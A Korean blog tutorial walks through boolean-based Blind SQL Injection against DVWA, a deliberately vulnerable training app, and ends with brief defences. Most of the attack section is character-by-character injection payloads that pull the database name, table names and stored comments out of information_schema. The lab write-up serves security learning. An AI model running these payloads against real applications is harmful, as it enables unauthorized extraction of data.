일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- goKart
- Python
- gotify
- Codeup
- firewall
- OpenSource
- CodeQL
- MySQL
- gosec
- C언어
- DVWA
- LGTM
- 데이터통신
- juice-shop
- JDBC
- github action
- sqli
- Juice Shop
- 알고리즘
- Database
- OWASP
- 운영체제
- Network
- SUA
- 자료구조
- 백준알고리즘
- ubuntu
- virtualbox
- JSP
- github
- Today
- Total
비트(bit)주세요
Blind SQL Injection 본문
Blind SQL Injection?
: SQL Injection인데, 참/거짓 반응으로만 수행하는 공격
참/거짓 반응으로만 공격을 하기 때문에 많은 노력과 시간을 투자해야 합니다.
그래서 자동화 툴을 이용하고, 대표적으로는 sqlmap이 있습니다.
여기서 Blind SQL Injection을 진행하기 위해 SQL 사전지식이 몇가지 필요합니다.
LIMIT [어디부터], [몇개]
: 출력할 때, 행을 제한하여 몇개만큼 출력합니다
-> 처음 시작은 0번째 입니다.
substr([출력 대상], [어디부터], [몇개]) 또는 substring([출력 대상], [어디부터], [어디까지])
: 출력 대상의 해당 지점부터 값을 몇개만큼 추출합니다.
-> 처음 시작은 1번째 입니다.
ex) SELECT substr('name', 1, 1)
-> name의 1번째서부터 1개 추출하니까 출력값은 n 이 됩니다.
SELECT 절 서브쿼리(이중 SELECT)
: SELECT문을 합쳐서 출력한다는 점은 UNION과 같으나
UNION처럼 출력 컬럼의 갯수를 맞추지 않아도 됩니다.
ex) SELECT name, age,(SELECT id FROM login LIMIT 0,1) FROM student
-> student 테이블에서
※ SELECT 절에서 서브 쿼리는 항상 컬럼과 레코드가 하나인 결과를 반환해야 합니다.
그 값이 NULL이든 아니든 관계없이 레코드가 1건이 존재해야 합니다.
레코드 : 테이블의 한 행(한 줄)
이제 Blind SQL Injection을 진행해보도록 하겠습니다.
LOW 레벨에서 진행하겠습니다.
입력한 User ID가 해당 데이터베이스에 존재한다면
다음과 같은 메시지가 뜹니다.
입력한 User ID가 해당 데이터베이스에 존재하지 않는다면
다음과 같은 메시지가 뜹니다.
이것만 가지고 데이터베이스의 컬럼을 추출해볼 예정입니다.
dvwa 데이터베이스의 구조는 다음과 같습니다.
1' and database()='dvwa' # 으로 데이터베이스 이름이 dvwa가 맞는지 확인합니다.
만약에 현재 데이터베이스의 이름을 모른다면
1' and substr(database(),1,1) = 'd' #
1' and substr(database(),2,1) = 'v' #
1' and substr(database(),3,1) = 'w' #
1' and substr(database(),4,1) = 'a' #
이런식으로 해야합니다.
맨 처음 존재하는 테이블 이름을 알아내기 위하여
다음과 같은 SQL 쿼리를 작성하겠습니다.
테이블 이름이 중복되어 출력될 가능성도 있기 때문에 DISTINCT를 사용하여 줍니다.
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),1,1) = 'a' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),1,1) = 'g' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),2,1) = 'u' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),3,1) = 'e' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),4,1) = 's' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),5,1) = 't' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),6,1) = 'b' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),7,1) = 'o' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),8,1) = 'o' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 0,1),9,1) = 'k' #
dvwa 첫번째 테이블의 이름은 guestbook입니다.
두번째 테이블의 이름을 알아보겠습니다.
다음과 같은 쿼리를 입력합니다.
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),1,1) = 'k' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),1,1) = 'u' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),2,1) = 's' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),3,1) = 'e' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),4,1) = 'r' #
1' and substr((select distinct table_name from information_schema.columns
where table_schema='dvwa' limit 1,1),5,1) = 's' #
dvwa 두번째 테이블의 이름은 users입니다.
테이블에서 값을 추출하려면
1' and substr((select comment from dvwa.guestbook limit 0,1),1,1) = 'T' #
1' and substr((select comment from dvwa.guestbook limit 0,1),2,1) = 'h' #
1' and substr((select comment from dvwa.guestbook limit 0,1),3,1) = 'i' #
1' and substr((select comment from dvwa.guestbook limit 0,1),3,1) = 's' #
이런식으로 하면 됩니다.
※ dvwa.guestbook은 dvwa DB에서 guestbook 테이블을 말합니다.
SQL Injection 대응책?
- 입력값 검증
-> 입력값 검증이 이루어지지 않아서 발생한 취약점
- 에러 메시지 노출 차단
-> 에러 메시지로 공격 가능, 불가능 여부를 보았기 때문에
참고
https://standardh.tistory.com/51
SQL Injection
만약에 SQL의 기초가 되어 있지 않았다면 이 글을 먼저 보고 오시는 것을 추천드립니다. https://standardh.tistory.com/50 SELECT.." data-og-host="standardh.tistory.com" data-og-source-url="https://standar..
standardh.tistory.com
'정보보안 > 웹보안' 카테고리의 다른 글
XSS(Cross Side Scripting) (0) | 2021.06.11 |
---|---|
SQL Injection (0) | 2021.06.03 |
SQL Injection을 위한 SQL (0) | 2021.06.02 |
Web Shell (0) | 2021.05.27 |
netcat과 포트포워딩 (0) | 2021.05.23 |